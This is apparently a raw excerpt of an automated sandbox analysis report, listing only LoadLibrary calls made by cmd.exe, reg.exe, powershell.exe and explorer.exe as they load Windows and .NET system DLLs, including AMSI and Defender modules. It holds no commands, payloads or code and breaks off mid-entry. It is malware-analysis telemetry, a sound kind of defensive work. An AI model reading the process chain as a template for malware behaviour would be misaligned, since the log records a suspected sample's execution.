(UID: 00000000-00002076) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002204) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002204) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002204) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002204) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003052) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003052) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003052) "reg.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00003412) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\diasymreader.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\d922445a828b30938c72d375a3b34a60\Microsoft.PowerShell.Commands (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00005344) "powershell.exe" called "LoadLibrary" with a parameter advapi32 (UID: 00000000-00005344) "explorer.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter 